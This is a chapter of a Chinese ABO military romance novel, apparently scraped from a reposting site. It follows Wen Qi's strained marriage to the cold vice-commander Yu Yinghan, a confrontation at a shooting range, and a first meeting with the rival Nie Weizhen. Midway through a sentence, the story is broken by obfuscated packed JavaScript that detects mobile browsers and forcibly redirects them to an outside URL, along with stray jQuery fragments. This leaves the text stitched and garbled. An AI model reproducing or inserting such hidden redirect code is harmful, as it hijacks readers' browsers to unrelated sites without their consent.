默认冷灰
24号文字
方正启体

2. 第 2 章

作者:杳杳一言本书字数:K更新时间:
    第二天醒来时,已经接近十点。


    闻祁在一阵头疼欲裂之后茫然睁开眼,思绪还没回笼,脑袋先响起一阵警钟。


    几点了?


    他浑身一僵,迅速转头望向枕边。


    陌生的枕头颜色,陌生的床头柜,陌生的窗帘……他腾地坐起来,环顾四周,惊觉这不是他和虞映寒的卧室,是二楼的某一间客房。


    他昨晚干了什么,虞映寒没让他上床?


    他连忙掀开被子下了床,脑袋一阵眩晕,这才想起来昨晚那瓶熟成的龙舌兰。


    他喝酒了,喝了半瓶。


    回来跪了键盘,跪到一半就睡着了。


    管家机器人移动过来,多关节支架手臂上捧着一杯蜂蜜水,没等闻祁喝完,就抬臂抓取,撤回杯子,转过身漠然离去。


    “喂。”闻祁喊住它。


    机器人刹停,巴掌大的液态屏幕亮起来,浮现出一行字:【主人心情不佳,我暂时不能和您说话,抱歉。】


    这个“主人”当然不是指闻祁。


    二号别墅只有一个主人。


    主人心情不佳,说明虞映寒还在家。


    闻祁忽然想起一句话,对管家机器人说:“人终有一死,对吧?”


    屏幕微闪,字符迅速重组:【是的,先生,或轻于鸿毛,或死无葬身之地。】


    “……”


    闻祁回卧室洗了个澡,换了身衣服,走到虞映寒面前的时候,发梢还带着水汽。


    虞映寒坐在书房中央的座椅上,穿着剪裁精致的白色衬衣与军制西裤,镶着暗金色绶带的军装上衣挂在一旁的衣架上。


    看得出,他即将出门参加重要活动。


    两面半透明光屏分别悬在书桌的左右两侧,最新的政令简报不断滚动。


    幽蓝色的光照在虞映寒的侧脸,仿佛一层冷釉,将他本就没有表情的脸衬得更加淡漠。


    “你生气了吗?”闻祁打破安静。


    虞映寒没理他,点开了一个紧急申请。


    闻祁又说:“其实我不怎么喝酒的,昨晚是一时冲动,以后不会这样了。”


    虞映寒好像完全听不到他说话一样,自顾自处理完工作,收到周秘书的会议提醒,而后起身,穿上外套,准备走出书房。


    闻祁立即横跨一步,挡在他的身前,“你能不能正眼看我?”


    虞映寒还是不理他。


    “我到底哪里惹到你了?”


    虞映寒看着他,面无表情地说:“没有,我就是不喜欢你现在这个样子。”


    闻祁噎得说不出话来。


    从小到大他再怎么没出息,也没被人这样嫌弃过——他这个样子,他样子怎么了?说得好像他很满意这门婚事一样,他难道就想娶一个大他五岁的从没见过面的omega吗?


    他呼吸加重,抬手捋了一把头发,恰好让开半个身子,虞映寒准备从他侧边走过。


    “砰!”


    闻祁的手猛地撑在门框上,横出的手臂再一次截断了虞映寒的去路。


    空气中Alpha的信息素浓度渐高。


    “你别欺人太甚了。”闻祁说。


    “你可以不服从。”


    虞映寒目不斜视,推开他的手臂,径直走出书房。


    ·


    下午两点半。


    庭峥在射击训练场见到了闻祁。


    和昨晚的颓丧不同,今天的闻祁看起来非常愤怒。


    他独自站在二号训练场中央,手里那把重式自动步|枪正疯狂震动,子弹倾泻而出,将远处的靶子击得粉碎。弹匣打空,他便将枪械随手一抛,一言不发地拎起下一把,继续扣动扳机。全程冷着脸抿着唇,下颌线绷得紧紧。


    一旁的自动计分屏飞快更新数值。


    右侧的成绩栏是一连串的满分。


    庭峥抱着胳膊,站在二号训练场门口,沉默地看着闻祁一连换了四把枪。


    哪怕是枪王,肩膀也要受不了了,他想。


    果不其然,闻祁放下最后一把中距压制步|枪时,还是抬起手按了按自己的右肩。


    “看来昨晚回去没跪键盘。”


    听到声音,闻祁转过头。


    庭峥拿了一瓶电解质水走过来,递给他,笑着问:“这么有力气?”


    闻祁刚要说话,门外传来一群脚步声,越来越近。


    闻祁抬手点了两下,清除了计分屏上的数字,又示意工作人员更换靶子。


    “哟,这不是闻少吗?”


    一道刻意拔高的嗓音从门口传来。


    庭峥循声望去,看到郑齐融带着他那帮惯常凑热闹的跟班,正斜倚在训练室门边。


    郑齐融和闻祁是多年的死对头。


    两家从上一辈起便明争暗斗,可无论父辈的地位功勋,还是晚辈的天资禀赋,郑家始终被闻家压过一头。


    尤其是闻祁十一岁那年,直接分化成九级Alpha,轰动整个联盟,郑家从此连半点能与之抗衡的资本都没有了。


    然而谁都没想到,这位被寄予厚望的闻家少爷竟然“伤仲永”了。


    从十五岁开始,闻祁的成绩一落千丈,行事愈发愚钝乖张,渐渐消失在公众视野。


    郑齐融捡了漏,逐渐成了同龄的alpha里风头最盛的一个。


    “闻少,你这枪打得——”郑齐融看了看四周的一地狼藉,嗤笑道:“可真多啊。”


    闻祁坐了下来,喝了口饮料。


    “闻少,你和虞副帅结婚的消息一传出来,可把我们羡慕坏了,我们这辈子能跟虞副帅说句话都难,哪能像你这么幸运,直接把他娶回家了。”郑齐融说完,跟班们哄笑。


    闻祁脸色不善。


    “听说虞副帅给你安排了魔鬼式训练,”郑齐融走近了些,“哟,闻少这黑眼圈是怎么回事?睡得不好吗?看来训练真的很辛苦啊。”


    话音刚落,闻祁猛地伸手,一把狠狠揪住郑齐融的衣领,将人往前一拽,厉色道:“我的事,还轮不到你在这说三道四。”


    感觉到顶级alpha的信息素威压,郑齐融的表情稍有紧张,下一秒又故意扯起一抹挑衅的坏笑,字字往闻祁痛处戳:“闻少,我在羡慕你啊,羡慕你得到虞副帅的亲自指导,怎么就变成说三道四了?难不成,你觉得和虞副帅结婚这件事……拿不出手?”


    “你——”


    闻祁怒意刚起,对峙的气氛紧绷到极致,门外忽然传来叩门声,二人齐齐望去。


    一名身姿挺拔的军士走了进来,站姿笔挺,眼神冷肃,对郑齐融说:“郑先生,这是虞副帅的私人训练场地,无关人员禁止入内,请您立即离开。”


    闻祁冷冷松了手,将人一把推开。


    郑齐融踉跄半步,脸色沉得难看,当即搬出身份压人,“我父亲是财政部首席定价官。”


    军士面无表情:“这不重要,您大可以向您的父亲汇报,问问他,您是否有资格随意闯入副指挥官的私人专属场域。”


    郑齐融气得胸膛剧烈起伏,又碍于面子无法声张,只能笑了笑,对闻祁说:“闻少,下个月联盟军事竞技赛,听说副帅给你报了名。”


    看见闻祁略显茫然的眼神,他沉声说:“我没你那么好的运气,有老婆给的专属训练场,但还是会全力以赴。我们赛场见。”


    说完便拂袖而去。


    跟班们也一哄而散,训练场恢复了平静。


    闻祁想对军士道声谢,可军士并没有和他闲聊的心思,严肃道:“闻先生,结束射击训练之后,请尽快回家,切勿在外逗留。”


    “……知道了。”


    军士离开之后,庭峥关上门,对闻祁说:“郑齐融就是闲的,你别放心上。”


    “我才懒得搭理他。”


    闻祁心里清楚,笑话他的人何止一个郑齐融?


    自打他和虞映寒结婚那天起,他就成了整个联盟茶余饭后的话题。


    “你什么时候报名竞技赛了?”庭峥问。


    “不知道。”闻祁没好气地答。


    “又吵架了?”


    “吵?他不跟我吵,他只会用那种看傻子的眼神看着我,一句话都不用说。”


    庭峥叹了口气,“我真是想不明白,指挥官为什么会让你和虞副帅结婚呢?虽然你爸是保守派,虞副帅归属发展派,两方结亲有利于政局缓和,但比你更适合的人选多的是。”


    闻祁皱眉,“什么意思?”


    “你听说过研发部新上任的副部长聂维真吗?”庭峥压低了声音,“本来大家都以为虞副帅会和他结婚。”


    闻祁的声调陡然拔高,“为什么?”


    庭峥抬手将计时屏切换成新闻模式,好巧不巧,一号台正在播报虞映寒的答记者会。


    闻祁的视线被钉在屏幕上。


    他当然知道虞映寒很厉害,毕业不到六年,就从一星少尉升到了内阁之首,然而“知道”和“亲眼看到”,感觉还是截然不同的。


    站在发言台上的虞映寒,时而颔首,目色沉静地迎向镜头,遇到刁钻的诘问也从容不迫,语气平稳,表现堪称完美。


    “坐在他右边的,就是聂维真。”


    庭峥的话打断了闻祁的思绪。


    闻祁循着指引望过去,看到一个气质内敛的男人,英俊成熟,头发向后梳得一丝不苟,身着深蓝色军制正装,虽然肩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420461|200823||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    章不及虞映寒多,也能看出地位不凡。


    男人时刻关注着虞映寒的发言,会在虞映寒话音微顿之时,默契递上一份发言稿。


    “他和虞副帅是大学同学,alpha,30岁,虽然相差三岁,只同学了一年,但两人的关系非常密切,虞副帅刚毕业进金融委员会工作就是他引荐的。”


    “他们在一起过?”


    “都在传,但好像没有确切的证据。”


    闻祁不自觉捏紧了瓶身。


    看他这副模样,庭峥先是疑惑,而后试探着问:“你不会……喜欢上虞副帅了吧?”


    “怎么可能?”闻祁断然否认,“我这辈子都不会喜欢他那样的omega。”


    冷若冰霜,不近人情,喜怒无常。


    他长这么大从没见过这样的omega。


    庭峥笑:“话别说得太满,你难道不觉得他长得很好看吗?大家私下里都叫他虞美人。”


    虞美人。


    闻祁把这三个字在舌尖颠来倒去念了几遍才恍然回过神,立即板起脸,说:“那我也不喜欢,我要是喜欢上他——”


    说到一半,脑海中毫无预兆地闪过虞映寒的脸,生生顿了半秒,才仓促发誓:“我要是喜欢他,我就是狗!”


    屏幕里传来雷鸣般的掌声。


    闻祁抬眼望去,看到虞映寒走下发言台,聂维真随之起身,和他一同离开。


    两个人看起来着实相配。


    “对了,这个。”


    闻祁低头,看到庭峥给他递来了一本厚厚的军用辞典,他疑惑:“给我这个干嘛?”


    “打开看看。”


    闻祁翻开封面,眼睛倏然睁大。


    辞典里面的纸页被掏空了,巴掌大的凹陷里藏了三包压缩饼干。


    “兄弟,我真的……”闻祁感动得差点热泪盈眶,合上辞典,一把抱住庭峥。


    “你都不知道我现在过的什么苦日子,现在只有你对我好了!”


    庭峥拍拍他的后背,“有事再找我。”


    到了结束时间,两人一同往外走。


    庭峥上飞行器之前忽然想到:他不也是无关人员吗?虞映寒的下属怎么没把他赶走?


    刚想告诉闻祁,闻祁已经架着飞行器扬长而去了。


    今天五点不到就回了家,闻祁的步伐很轻松,却和一个意想不到的人打了照面。


    他刚走上二楼,就看到聂维真一手拿着文件一手挽着军服外套,从虞映寒的书房里退出来,身姿挺拔,眉眼含笑,对里面的人说:“副帅,那我先走了,您早点休息。”


    转过身看到闻祁,聂维真微微愣住,很快又露出友善的笑容,朝闻祁的方向走去。


    他主动伸出手,“你好,闻先生,我是研发部聂维真。”


    闻祁不情不愿地和他握了手。


    握手的瞬间,他忽然顿住。


    聂维真的手劲十分扎实,指腹与掌心带着一层薄茧,是常年体能训练留下的印记。闻祁这才注意到聂维真的白衬衣下,隐约可见结实的肌肉,和他斯文清俊的外表很不相称。


    “你认识我?”闻祁问。


    “当然认识,闻部长经常提起你。”


    是闻部长,不是虞副帅。


    说明虞映寒从来不在聂维真面前提起自己的新婚丈夫。


    闻祁不咸不淡地点了下头,侧过身子给聂维真让道。


    等聂维真离开,他立即走向卧室。


    脚步放轻,小心翼翼地掩上门,环顾一圈,最后还是决定把压缩饼干藏在床头柜里。


    最危险的地方最安全。


    反正有辞典裹着,虞映寒要是问起来,他就说放在床边方便他随时温习理论课。


    他小心翼翼安置妥当,心想这下就算再犯错也饿不着了,终于松了口气。


    结果一转身就迎面撞上虞映寒。


    这对他来说无异于白日见鬼。


    虞映寒不知何时站在了他身后,两手负在身后,微微歪头,清冷的眸子添了几分玩味,显然已经将他方才藏东西的动作尽收眼底。


    “你在做什么?”虞映寒问。


    闻祁下意识往后退,跌坐在床边,又想起虞映寒的规矩——穿外衣不能碰床,连忙起身。可两个人实在站得太近,他一个倾身,手又无处着力,本能地圈住了虞映寒的腰。


    温热的呼吸在咫尺之间交织。


    四周的空气仿佛停止了流动,闻祁喉结滚动,胸膛起伏加速,手掌隔着衬衣布料感受到了虞映寒的体温,眼神瞬间失了方寸。


    他盯着虞映寒的脸,半天憋出一句:“能不跪键盘吗?我练……练射击站了一整天。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)